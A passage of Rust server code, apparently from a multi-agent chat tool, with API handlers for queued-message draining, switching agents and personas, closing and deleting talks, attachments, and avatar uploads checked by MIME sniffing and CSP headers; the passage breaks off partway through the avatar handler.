9994 turn: TalkTurnGuard,
9995 started: Option<tokio::sync::oneshot::Sender<bool>>,
9996) {
9997 let pending = !talk.pending.is_empty() || !talk.pending_attachments.is_empty();
9998 let running = if pending {
9999 match crate::chat_worker::spawn_turn(&talks, &id).await {
10000 Ok(_) => true,
10001 Err(error) => {
10002 tracing::warn!("talk {id}: could not launch draft worker: {error:#}");
10003 false
10004 }
10005 }
10006 } else {
10007 false
10008 };
10009 drop(turn);
10010 if let Some(started) = started {
10011 let _ = started.send(running);
10012 }
10013}
10014
10015#[cfg(test)]
10018async fn drain_loop_started(
10019 mut talk: Talk,
10020 talks: Talks,
10021 cfg: Config,
10022 id: String,
10023 turn: TalkTurnGuard,
10024 mut started: Option<tokio::sync::oneshot::Sender<bool>>,
10025) {
10026 let live_set = Arc::clone(&turn.turns);
10027 let mut turn = Some(turn);
10035 loop {
10036 if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
10037 tracing::warn!("talk {id} lost its turn lease; not draining further");
10040 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
10041 if let Some(turn) = turn.take() {
10042 turn.release(&mut live);
10043 }
10044 break;
10045 }
10046 let observed = live_set
10050 .lock()
10051 .unwrap_or_else(PoisonError::into_inner)
10052 .queued
10053 .get(&id)
10054 .copied()
10055 .unwrap_or(0);
10056 let drained = blocking({
10057 let talks = talks.clone();
10058 move || {
10059 let result = talk::drain(&mut talk, &talks);
10060 Ok((talk, result))
10061 }
10062 })
10063 .await;
10064 let (next_talk, result) = match drained {
10065 Ok(drained) => drained,
10066 Err(e) => {
10067 tracing::warn!(
10068 status = %e.status,
10069 message = %e.message,
10070 "talk {id} could not start queued-text drain"
10071 );
10072 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
10073 turn.take()
10074 .expect("held for the whole loop until released here")
10075 .release(&mut live);
10076 break;
10077 }
10078 };
10079 talk = next_talk;
10080 let drained = match result {
10081 Ok(Some(drained)) => drained,
10082 Ok(None) => {
10083 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
10084 if live.queued.get(&id).copied().unwrap_or(0) != observed {
10085 continue;
10086 }
10087 turn.take()
10088 .expect("held for the whole loop until released here")
10089 .release(&mut live);
10090 break;
10091 }
10092 Err(e) => {
10093 tracing::warn!("talk {id} could not drain queued text: {e:#}");
10094 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
10095 turn.take()
10096 .expect("held for the whole loop until released here")
10097 .release(&mut live);
10098 break;
10099 }
10100 };
10101 if let Some(started) = started.take() {
10102 let _ = started.send(true);
10103 }
10104 let responded = match turn.as_ref() {
10105 Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
10106 None => Err(anyhow::anyhow!("the turn guard was released")),
10107 };
10108 if let Err(e) = responded {
10109 tracing::warn!("talk {id} turn failed: {e:#}");
10110 }
10111 }
10112 drop(turn);
10113 if let Some(started) = started {
10114 let _ = started.send(false);
10115 }
10116}
10117
10118async fn talk_pending_clear(
10120 State(ui): State<Arc<Ui>>,
10121 Path(id): Path<String>,
10122 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
10123) -> ApiResult<Json<TalkView>> {
10124 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
10125 blocking(move || {
10126 let id = resolve_talk(&ui.talks, &id)?;
10127 let mut talk = ui.talks.get(&id)?;
10128 if !talk.status.open() {
10129 return Err(ApiError::conflict(format!(
10130 "talk {} is {} and takes no more turns",
10131 talk.short(),
10132 talk.status.as_str()
10133 )));
10134 }
10135 if !talk::clear_pending_if_matches(
10136 &mut talk,
10137 &ui.talks,
10138 &body.expected_text,
10139 &body.expected_attachments,
10140 )? {
10141 return Err(ApiError::conflict(
10142 "queued message changed; reload it before clearing",
10143 ));
10144 }
10145 let thinking = ui.is_thinking(&talk.id);
10146 Ok(Json(TalkView::new(talk, thinking, &ui)))
10147 })
10148 .await
10149}
10150
10151async fn talk_pending_edit(
10155 State(ui): State<Arc<Ui>>,
10156 Path(id): Path<String>,
10157 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
10158) -> ApiResult<Json<TalkView>> {
10159 let admission = ui.begin_admission()?;
10160 admitted(admission, async move {
10161 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
10162 let id = {
10163 let ui = Arc::clone(&ui);
10164 blocking(move || resolve_talk(&ui.talks, &id)).await?
10165 };
10166 let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10167 .await
10168 .map_err(ApiError::from)?;
10169 let (view, reclaimed) = blocking({
10170 let ui = Arc::clone(&ui);
10171 move || {
10172 let mut talk = ui.talks.get(&id)?;
10173 if !talk.status.open() {
10174 return Err(ApiError::conflict(format!(
10175 "talk {} is {} and takes no more turns",
10176 talk.short(),
10177 talk.status.as_str()
10178 )));
10179 }
10180 if !talk::edit_pending_message(
10181 &mut talk,
10182 &ui.talks,
10183 &body.text,
10184 &body.expected_text,
10185 &body.expected_attachments,
10186 body.message,
10187 )? {
10188 return Err(ApiError::conflict(
10189 "queued message changed; reload it before editing",
10190 ));
10191 }
10192 let claim = match ui.begin_queued_talk_turn(&id)? {
10193 Some(turn_guard) => {
10194 let (cfg, _) = Config::discover(&talk.repo, None)?;
10195 Some((talk.clone(), cfg, id.clone(), turn_guard))
10196 }
10197 None => None,
10198 };
10199 let thinking = ui.is_thinking(&id);
10200 Ok((TalkView::new(talk, thinking, &ui), claim))
10201 }
10202 })
10203 .await?;
10204 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
10205 let talks = ui.talks.clone();
10206 #[cfg(not(test))]
10207 detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
10208 #[cfg(test)]
10209 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
10210 }
10211 Ok(Json(view))
10212 })
10213 .await
10214}
10215
10216fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
10218 if talk.status.open() {
10219 return Ok(());
10220 }
10221 Err(ApiError::conflict(format!(
10222 "talk {} is {} and takes no more turns",
10223 talk.short(),
10224 talk.status.as_str()
10225 )))
10226}
10227
10228#[derive(Debug, Deserialize)]
10230struct TalkAgent {
10231 agent: String,
10232}
10233
10234async fn talk_agent(
10239 State(ui): State<Arc<Ui>>,
10240 Path(id): Path<String>,
10241 Json(body): Json<TalkAgent>,
10242) -> ApiResult<Json<TalkView>> {
10243 let admission = ui.begin_admission()?;
10244 admitted(admission, async move {
10245 let id = {
10246 let ui = Arc::clone(&ui);
10247 blocking(move || resolve_talk(&ui.talks, &id)).await?
10248 };
10249 let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10250 .await
10251 .map_err(ApiError::from)?;
10252 let repo = {
10253 let ui = Arc::clone(&ui);
10254 let id = id.clone();
10255 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
10256 };
10257 let cfg = config_for(&repo).await?;
10258 {
10260 let ui = Arc::clone(&ui);
10261 let id = id.clone();
10262 let cfg = cfg.clone();
10263 let wanted = body.agent.clone();
10264 blocking(move || {
10265 agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
10266 .map_err(ApiError::bad_request_from)?;
10267 refuse_if_closed(&ui.talks.get(&id)?)
10268 })
10269 .await?;
10270 }
10271 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10272 return Err(ApiError::conflict(
10273 "a talk turn is running; change the agent once it has answered",
10274 ));
10275 };
10276 let switched = {
10277 let ui = Arc::clone(&ui);
10278 let id = id.clone();
10279 let cfg = cfg.clone();
10280 blocking(move || {
10281 let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
10282 .map_err(ApiError::bad_request_from)?;
10283 let mut talk = ui.talks.get(&id)?;
10284 if !talk.status.open() {
10285 return Err(ApiError::conflict(format!(
10286 "talk {} is {} and takes no more turns",
10287 talk.short(),
10288 talk.status.as_str()
10289 )));
10290 }
10291 talk::switch_agent(&mut talk, &ui.talks, &spec)?;
10292 Ok(talk)
10293 })
10294 .await
10295 };
10296 let observed = ui.queued_generation(&id);
10301 let fresh = {
10302 let ui = Arc::clone(&ui);
10303 let id = id.clone();
10304 blocking(move || Ok(ui.talks.get(&id)?)).await
10305 };
10306 let draining = match fresh {
10307 Ok(talk) => {
10308 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10309 }
10310 Err(_) => false,
10311 };
10312 let talk = switched?;
10313 Ok(Json(TalkView::new(talk, draining, &ui)))
10314 })
10315 .await
10316}
10317
10318#[derive(Debug, Deserialize)]
10320struct TalkPersona {
10321 persona: String,
10322}
10323
10324async fn talk_persona(
10328 State(ui): State<Arc<Ui>>,
10329 Path(id): Path<String>,
10330 Json(body): Json<TalkPersona>,
10331) -> ApiResult<Json<TalkView>> {
10332 let admission = ui.begin_admission()?;
10333 admitted(admission, async move {
10334 let id = {
10335 let ui = Arc::clone(&ui);
10336 blocking(move || resolve_talk(&ui.talks, &id)).await?
10337 };
10338 let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10339 .await
10340 .map_err(ApiError::from)?;
10341 let repo = {
10342 let ui = Arc::clone(&ui);
10343 let id = id.clone();
10344 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
10345 };
10346 let cfg = config_for(&repo).await?;
10347 {
10349 let ui = Arc::clone(&ui);
10350 let id = id.clone();
10351 let cfg = cfg.clone();
10352 let wanted = body.persona.clone();
10353 blocking(move || {
10354 if persona::find(&cfg.talk.personas, &wanted).is_none() {
10355 return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
10356 }
10357 refuse_if_closed(&ui.talks.get(&id)?)
10358 })
10359 .await?;
10360 }
10361 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10362 return Err(ApiError::conflict(
10363 "a talk turn is running; change the persona once it has answered",
10364 ));
10365 };
10366 let switched = {
10367 let ui = Arc::clone(&ui);
10368 let id = id.clone();
10369 let cfg = cfg.clone();
10370 blocking(move || {
10371 let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
10372 return Err(ApiError::bad_request(format!(
10373 "unknown persona `{}`",
10374 body.persona
10375 )));
10376 };
10377 let mut talk = ui.talks.get(&id)?;
10378 if !talk.status.open() {
10379 return Err(ApiError::conflict(format!(
10380 "talk {} is {} and takes no more turns",
10381 talk.short(),
10382 talk.status.as_str()
10383 )));
10384 }
10385 talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
10386 Ok(talk)
10387 })
10388 .await
10389 };
10390 let observed = ui.queued_generation(&id);
10392 let fresh = {
10393 let ui = Arc::clone(&ui);
10394 let id = id.clone();
10395 blocking(move || Ok(ui.talks.get(&id)?)).await
10396 };
10397 let draining = match fresh {
10398 Ok(talk) => {
10399 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10400 }
10401 Err(_) => false,
10402 };
10403 let talk = switched?;
10404 Ok(Json(TalkView::new(talk, draining, &ui)))
10405 })
10406 .await
10407}
10408
10409#[derive(Debug, Deserialize)]
10411struct TalkImplementers {
10412 implementers: u8,
10413}
10414
10415async fn talk_implementers(
10419 State(ui): State<Arc<Ui>>,
10420 Path(id): Path<String>,
10421 Json(body): Json<TalkImplementers>,
10422) -> ApiResult<Json<TalkView>> {
10423 let admission = ui.begin_admission()?;
10424 admitted(admission, async move {
10425 let id = {
10426 let ui = Arc::clone(&ui);
10427 blocking(move || resolve_talk(&ui.talks, &id)).await?
10428 };
10429 let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10430 .await
10431 .map_err(ApiError::from)?;
10432 let repo = {
10433 let ui = Arc::clone(&ui);
10434 let id = id.clone();
10435 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
10436 };
10437 let cfg = config_for(&repo).await?;
10438 {
10443 let ui = Arc::clone(&ui);
10444 let id = id.clone();
10445 let cfg = cfg.clone();
10446 let wanted = body.implementers;
10447 blocking(move || {
10448 talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
10449 refuse_if_closed(&ui.talks.get(&id)?)
10450 })
10451 .await?;
10452 }
10453 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10454 return Err(ApiError::conflict(
10455 "a talk turn is running; change the implementers once it has answered",
10456 ));
10457 };
10458 let switched = {
10459 let ui = Arc::clone(&ui);
10460 let id = id.clone();
10461 let cfg = cfg.clone();
10462 blocking(move || {
10463 let chosen = talk::check_implementers(body.implementers, &cfg)
10464 .map_err(ApiError::bad_request)?;
10465 let mut talk = ui.talks.get(&id)?;
10466 if !talk.status.open() {
10467 return Err(ApiError::conflict(format!(
10468 "talk {} is {} and takes no more turns",
10469 talk.short(),
10470 talk.status.as_str()
10471 )));
10472 }
10473 talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
10474 Ok(talk)
10475 })
10476 .await
10477 };
10478 let observed = ui.queued_generation(&id);
10480 let fresh = {
10481 let ui = Arc::clone(&ui);
10482 let id = id.clone();
10483 blocking(move || Ok(ui.talks.get(&id)?)).await
10484 };
10485 let draining = match fresh {
10486 Ok(talk) => {
10487 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10488 }
10489 Err(_) => false,
10490 };
10491 let talk = switched?;
10492 Ok(Json(TalkView::new(talk, draining, &ui)))
10493 })
10494 .await
10495}
10496
10497async fn talk_close(
10499 State(ui): State<Arc<Ui>>,
10500 Path(id): Path<String>,
10501) -> ApiResult<Json<TalkView>> {
10502 blocking(move || {
10503 let id = resolve_talk(&ui.talks, &id)?;
10504 let mut talk = ui.talks.get(&id)?;
10505 talk::close(&mut talk, &ui.talks).map_err(|error| {
10506 if error.is::<talk::ClosePendingInput>() {
10507 ApiError::conflict(format!("{error:#}"))
10508 } else {
10509 ApiError::from(error)
10510 }
10511 })?;
10512 let thinking = ui.is_thinking(&talk.id);
10513 Ok(Json(TalkView::new(talk, thinking, &ui)))
10514 })
10515 .await
10516}
10517
10518async fn talk_reopen(
10520 State(ui): State<Arc<Ui>>,
10521 Path(id): Path<String>,
10522) -> ApiResult<Json<TalkView>> {
10523 blocking(move || {
10524 let id = resolve_talk(&ui.talks, &id)?;
10525 let mut talk = ui.talks.get(&id)?;
10526 talk::reopen(&mut talk, &ui.talks)?;
10527 let thinking = ui.is_thinking(&talk.id);
10528 Ok(Json(TalkView::new(talk, thinking, &ui)))
10529 })
10530 .await
10531}
10532
10533async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
10543 blocking(move || {
10544 let id = resolve_talk(&ui.talks, &id)?;
10545 ui.talks.remove(&id)?;
10546 Ok(StatusCode::NO_CONTENT)
10547 })
10548 .await
10549}
10550
10551fn talk_ids(root: &FsPath) -> Vec<String> {
10552 std::fs::read_dir(root)
10553 .into_iter()
10554 .flatten()
10555 .flatten()
10556 .filter_map(|e| {
10557 let path = e.path();
10558 if path.extension().is_some_and(|ext| ext == "json") {
10559 path.file_stem().and_then(|s| s.to_str()).map(str::to_owned)
10560 } else {
10561 None
10562 }
10563 })
10564 .collect()
10565}
10566
10567fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
10569 if plain_record_id(id) && store.path_of(id).is_file() {
10570 return Ok(id.to_owned());
10571 }
10572 pick(talk_ids(store.root()), id, "talk")
10573}
10574
10575async fn talk_attachment_post(
10578 State(ui): State<Arc<Ui>>,
10579 Path(id): Path<String>,
10580 headers: HeaderMap,
10581 body: Bytes,
10582) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
10583 let mime = validate_attachment(&headers, &body)?;
10584 let name = filename_header(&headers);
10585 let data = body.to_vec();
10586 blocking(move || {
10587 let id = resolve_talk(&ui.talks, &id)?;
10588 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
10589 Ok((StatusCode::CREATED, Json(att)))
10590 })
10591 .await
10592}
10593
10594async fn talk_attachment_get(
10597 State(ui): State<Arc<Ui>>,
10598 Path((id, att)): Path<(String, String)>,
10599) -> ApiResult<Response> {
10600 blocking(move || {
10601 let id = resolve_talk(&ui.talks, &id)?;
10602 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
10603 return Err(ApiError::not_found(format!(
10604 "talk {id} has no attachment `{att}`"
10605 )));
10606 };
10607 Ok(attachment_response(&meta.mime, data))
10608 })
10609 .await
10610}
10611
10612fn avatar_url(home: &FsPath, talk_id: &str, p: &persona::Persona) -> String {
10615 let id = avatar_encode(&p.id);
10616 format!(
10617 "/api/talks/{talk_id}/avatar?persona={id}&v={}",
10618 persona_icon::fingerprint(
10619 effective_persona_icon(home, &p.id, p.icon.as_deref()).as_deref()
10620 )
10621 )
10622}
10623
10624#[derive(Debug, Default, Deserialize)]
10625struct AvatarQuery {
10626 persona: Option<String>,
10627 builtin: Option<String>,
10629}
10630
10631const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
10633
10634fn builtin_avatar(id: &str) -> Response {
10635 svg_avatar(persona_icon::builtin_svg(id))
10636}
10637
10638async fn operator_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
10639 raster_or_builtin(
10640 read_icon_file(&avatar_setting_path(&ui.home, None))
10641 .filter(|_| q.builtin.is_none())
10642 .as_deref(),
10643 persona_icon::operator_svg(),
10644 )
10645}
10646
10647fn svg_avatar(svg: &'static str) -> Response {
10648 (
10649 [
10650 (header::CONTENT_TYPE, "image/svg+xml"),
10651 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
10652 (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
10653 (header::CACHE_CONTROL, "no-cache"),
10654 ],
10655 svg,
10656 )
10657 .into_response()
10658}
10659
10660fn avatar_encode(value: &str) -> String {
10661 value
10662 .bytes()
10663 .map(|b| {
10664 if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
10665 char::from(b).to_string()
10666 } else {
10667 format!("%{b:02X}")
10668 }
10669 })
10670 .collect()
10671}
10672
10673fn avatar_setting_path(home: &FsPath, persona: Option<&str>) -> PathBuf {
10675 let Some(id) = persona else {
10676 return home.join("avatars/operator.data");
10677 };
10678 let encoded: String = id.bytes().map(|b| format!("{b:02x}")).collect();
10679 let mut path = home.join("avatars/personas");
10680 for chunk in encoded.as_bytes().chunks(100) {
10681 path.push(std::str::from_utf8(chunk).expect("hex"));
10682 }
10683 path.join("icon.data")
10684}
10685
10686fn effective_persona_icon(home: &FsPath, id: &str, configured: Option<&str>) -> Option<String> {
10687 match read_icon_file(&avatar_setting_path(home, Some(id))) {
10688 Some(value) if value == "builtin" => Some(String::new()),
10689 Some(value) => Some(value),
10690 None => configured.map(str::to_owned),
10691 }
10692}
10693
10694fn operator_icon_url(home: &FsPath) -> String {
10695 format!(
10696 "/avatars/operator.svg?v={}",
10697 persona_icon::fingerprint(
10698 read_icon_file(&avatar_setting_path(home, None))
10699 .as_deref()
10700 .or(Some(persona_icon::operator_svg()))
10701 )
10702 )
10703}
10704
10705fn raster_or_builtin(icon: Option<&str>, builtin: &'static str) -> Response {
10706 let mut response = match icon.and_then(|i| persona_icon::load(i).ok()) {
10707 Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10708 attachment_response(mime, bytes)
10709 }
10710 _ => svg_avatar(builtin),
10711 };
10712 response
10713 .headers_mut()
10714 .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
10715 response
10716}
10717
10718#[derive(Default, Deserialize)]
10719struct AvatarSettingsQuery {
10720 repo: Option<PathBuf>,
10721 persona: Option<String>,
10722 builtin: Option<String>,
10723 inherit: Option<String>,
10724}
10725
10726fn avatar_settings_specs(
10727 ui: &Ui,
10728 repo: Option<PathBuf>,
10729) -> ApiResult<(PathBuf, Vec<crate::config::PersonaSpec>)> {
10730 let (repo, _) = settings_context(ui, SettingsQuery { repo })?;
10731 let specs = settings::repository_config(&repo, ui.machine_config.as_deref())
10732 .map(|cfg| cfg.talk.personas)
10733 .unwrap_or_default();
10734 Ok((repo, specs))
10735}
10736
10737fn saved_persona_ids(path: &FsPath, prefix: &str, out: &mut Vec<String>) {
10738 let Ok(entries) = std::fs::read_dir(path) else {
10739 return;
10740 };
10741 for entry in entries.flatten() {
10742 let name = entry.file_name().to_string_lossy().into_owned();
10743 if name == "icon.data" {
10744 let bytes: Option<Vec<u8>> = prefix
10745 .as_bytes()
10746 .chunks(2)
10747 .map(|c| u8::from_str_radix(std::str::from_utf8(c).ok()?, 16).ok())
10748 .collect();
10749 if let Some(id) = bytes.and_then(|b| String::from_utf8(b).ok()) {
10750 out.push(id);
10751 }
10752 } else if name.len() <= 100
10753 && !name.is_empty()
10754 && name.bytes().all(|b| b.is_ascii_hexdigit())
10755 && entry.file_type().is_ok_and(|t| t.is_dir())
10756 {
10757 saved_persona_ids(&entry.path(), &format!("{prefix}{name}"), out);
10758 }
10759 }
10760}
10761
10762async fn avatar_settings_get(
10763 State(ui): State<Arc<Ui>>,
10764 Query(q): Query<AvatarSettingsQuery>,
10765) -> ApiResult<Json<serde_json::Value>> {
10766 blocking(move || {
10767 let (repo, specs) = avatar_settings_specs(&ui, q.repo)?;
10768 let mut catalog = persona::catalog(&specs);
10769 let known_ids: Vec<_> = catalog.iter().map(|p| p.id.clone()).collect();
10770 let mut saved = Vec::new();
10771 saved_persona_ids(&ui.home.join("avatars/personas"), "", &mut saved);
10772 for id in saved {
10773 if !catalog.iter().any(|p| p.id == id) {
10774 catalog.push(persona::Persona { name: format!("{id} (saved override)"), id, prompt: String::new(), icon: None });
10775 }
10776 }
10777 let personas: Vec<_> = catalog.iter().map(|p| {
10778 let saved = read_icon_file(&avatar_setting_path(&ui.home, Some(&p.id)));
10779 let override_state = match saved.as_deref() {
10780 Some("builtin") => "builtin",
10781 Some(_) => "custom",
10782 None => "inherit",
10783 };
10784 let icon = effective_persona_icon(&ui.home, &p.id, p.icon.as_deref());
10785 serde_json::json!({"id":p.id,"name":p.name,
10786 "override_state":override_state,"has_config_icon":p.icon.is_some(),
10787 "is_orphan":!known_ids.contains(&p.id),"avatar":format!("/avatars/persona?persona={}&repo={}&v={}",
10788 avatar_encode(&p.id), avatar_encode(&repo.to_string_lossy()), persona_icon::fingerprint(icon.as_deref()))})
10789 }).collect();
10790 Ok(Json(serde_json::json!({"operator":operator_icon_url(&ui.home), "personas":personas})))
10791 }).await
10792}
10793
10794async fn settings_persona_avatar(
10795 State(ui): State<Arc<Ui>>,
10796 Query(q): Query<AvatarSettingsQuery>,
10797) -> ApiResult<Response> {
10798 blocking(move || {
10799 let (_, specs) = avatar_settings_specs(&ui, q.repo)?;
10800 let id = q.persona.as_deref().unwrap_or(persona::DEFAULT_ID);
10801 let found = persona::find(&specs, id);
10802 let icon =
10803 effective_persona_icon(&ui.home, id, found.as_ref().and_then(|p| p.icon.as_deref()));
10804 Ok(raster_or_builtin(
10805 icon.as_deref().filter(|_| q.builtin.is_none()),
10806 persona_icon::builtin_svg(id),
10807 ))
10808 })
10809 .await
10810}
10811
10812fn validate_avatar_target(q: &AvatarSettingsQuery) -> ApiResult<()> {
10813 if q.persona
10814 .as_ref()
10815 .is_some_and(|p| p.is_empty() || p.len() > 4096)
10816 {
10817 return Err(ApiError::bad_request("invalid persona id"));
10818 }
10819 Ok(())
10820}
10821
10822async fn avatar_settings_put(
10823 State(ui): State<Arc<Ui>>,
10824 Query(q): Query<AvatarSettingsQuery>,
10825 Json(upload): Json<MagiIconUpload>,
10826) -> ApiResult<Json<serde_json::Value>> {
10827 blocking(move || {
10828 validate_avatar_target(&q)?;
10829 save_icon_file(
10830 &avatar_setting_path(&ui.home, q.persona.as_deref()),
10831 &upload.icon,
10832 )
10833 .map_err(ApiError::bad_request_from)?;
10834 Ok(Json(serde_json::json!({"saved":true})))
10835 })
10836 .await
10837}
10838
10839async fn avatar_settings_delete(
10840 State(ui): State<Arc<Ui>>,
10841 Query(q): Query<AvatarSettingsQuery>,
10842) -> ApiResult<Json<serde_json::Value>> {
10843 blocking(move || {
10844 validate_avatar_target(&q)?;
10845 let path = avatar_setting_path(&ui.home, q.persona.as_deref());
10846 if q.persona.is_some() && q.inherit.is_none() {
10847 atomic_icon_write(&path, "builtin")?;
10848 } else {
10849 match std::fs::remove_file(path) {
10850 Ok(()) => (),
10851 Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
10852 Err(e) => return Err(anyhow::Error::from(e).into()),
10853 }
10854 }
10855 Ok(Json(serde_json::json!({"saved":true})))
10856 })
10857 .await
10858}
10859
10860fn magi_icon_path(home: &FsPath) -> PathBuf {
10862 home.join("magi-icon.data")
10863}
10864
10865fn read_magi_icon(home: &FsPath) -> Option<String> {
10866 read_icon_file(&magi_icon_path(home))
10867}
10868
10869fn read_icon_file(path: &FsPath) -> Option<String> {
10870 let metadata = std::fs::metadata(path).ok()?;
10871 if !metadata.is_file() || metadata.len() > persona_icon::ICON_MAX_BYTES as u64 {
10872 return None;
10873 }
10874 let file = std::fs::File::open(path).ok()?;
10875 use std::io::Read;
10876 let mut text = String::new();
10877 file.take(persona_icon::ICON_MAX_BYTES as u64 + 1)
10878 .read_to_string(&mut text)
10879 .ok()?;
10880 if text.len() > persona_icon::ICON_MAX_BYTES {
10881 return None;
10882 }
10883 if text == "builtin" {
10884 return Some(text);
10885 }
10886 validate_uploaded_icon(&text).ok()?;
10887 Some(text)
10888}
10889
10890fn magi_icon_url(home: &FsPath) -> String {
10891 format!(
10892 "/avatars/magi?v={}",
10893 persona_icon::fingerprint(read_magi_icon(home).as_deref())
10894 )
10895}
10896
10897async fn magi_icon_get(State(ui): State<Arc<Ui>>) -> Json<serde_json::Value> {
10898 Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)}))
10899}
10900
10901#[derive(Deserialize)]
10902struct MagiIconUpload {
10903 icon: String,
10904}
10905
10906fn save_magi_icon(home: &FsPath, icon: &str) -> Result<()> {
10907 save_icon_file(&magi_icon_path(home), icon)
10908}
10909
10910fn validate_uploaded_icon(icon: &str) -> Result<()> {
10911 if !icon.starts_with("data:") {
10912 anyhow::bail!("upload a raster image");
10913 }
10914 let (mime, bytes) = persona_icon::load(icon)?;
10915 if sniffed_mime(&bytes) != Some(mime) {
10916 anyhow::bail!("image content does not match its type");
10917 }
10918 Ok(())
10919}
10920
10921fn save_icon_file(path: &FsPath, icon: &str) -> Result<()> {
10922 validate_uploaded_icon(icon)?;
10923 atomic_icon_write(path, icon)
10924}
10925
10926fn atomic_icon_write(path: &FsPath, icon: &str) -> Result<()> {
10927 let home = path.parent().expect("icon parent");
10928 std::fs::create_dir_all(home)?;
10929 let token = crate::rng::SplitMix64::new(crate::rng::entropy()).uuid_v4();
10930 let temp = home.join(format!(".magi-icon-{token}.tmp"));
10931 let result = (|| -> Result<()> {
10932 use std::io::Write;
10933 let mut file = std::fs::OpenOptions::new()
10934 .write(true)
10935 .create_new(true)
10936 .open(&temp)?;
10937 file.write_all(icon.as_bytes())?;
10938 file.sync_all()?;
10939 std::fs::rename(&temp, path)?;
10940 Ok(())
10941 })();
10942 let _ = std::fs::remove_file(temp);
10943 result?;
10944 Ok(())
10945}
10946
10947async fn magi_icon_put(
10948 State(ui): State<Arc<Ui>>,
10949 Json(upload): Json<MagiIconUpload>,
10950) -> ApiResult<Json<serde_json::Value>> {
10951 blocking(move || {
10952 if !upload.icon.starts_with("data:") {
10953 return Err(ApiError::bad_request("upload a raster image"));
10954 }
10955 let (mime, bytes) = persona_icon::load(&upload.icon).map_err(ApiError::bad_request_from)?;
10956 if sniffed_mime(&bytes) != Some(mime) {
10957 return Err(ApiError::bad_request(
10958 "image content does not match its type",
10959 ));
10960 }
10961 save_magi_icon(&ui.home, &upload.icon)?;
10962 Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
10963 })
10964 .await
10965}
10966
10967async fn magi_icon_delete(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
10968 blocking(move || {
10969 match std::fs::remove_file(magi_icon_path(&ui.home)) {
10970 Ok(()) => (),
10971 Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
10972 Err(e) => return Err(anyhow::Error::from(e).into()),
10973 }
10974 Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
10975 })
10976 .await
10977}
10978
10979async fn magi_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
10980 let icon = (q.builtin.is_none())
10981 .then(|| read_magi_icon(&ui.home))
10982 .flatten();
10983 let mut response = match icon
10984 .as_deref()
10985 .and_then(|icon| persona_icon::load(icon).ok())
10986 {
10987 Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10988 attachment_response(mime, bytes)
10989 }
10990 _ => svg_avatar(persona_icon::magi_svg()),
10991 };
10992 response
10993 .headers_mut()
10994 .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
10995 response
10996}
10997
10998async fn talk_avatar(
11003 State(ui): State<Arc<Ui>>,
11004 Path(id): Path<String>,
11005 Query(q): Query<AvatarQuery>,
11006) -> ApiResult<Response> {
11007 blocking(move || {
11008 let id = resolve_talk(&ui.talks, &id)?;
11009 let talk = ui.talks.get(&id)?;
11010 let wanted = q
11011 .persona
11012 .as_deref()
11013 .map(str::trim)
11014 .filter(|p| !p.is_empty())
11015 .unwrap_or(&talk.persona)
11016 .to_owned();
11017 let specs = match Config::discover(&talk.repo, None) {
11018 Ok((cfg, _)) => cfg.talk.personas,
11019 Err(e) => {
11020 tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
11021 Vec::new()
11022 }
11023 };
11024 let found = persona::find(&specs, &wanted);
11025 let wanted = found.as_ref().map_or(wanted, |p| p.id.clone());
11027 let icon = effective_persona_icon(
11028 &ui.home,
11029 &wanted,
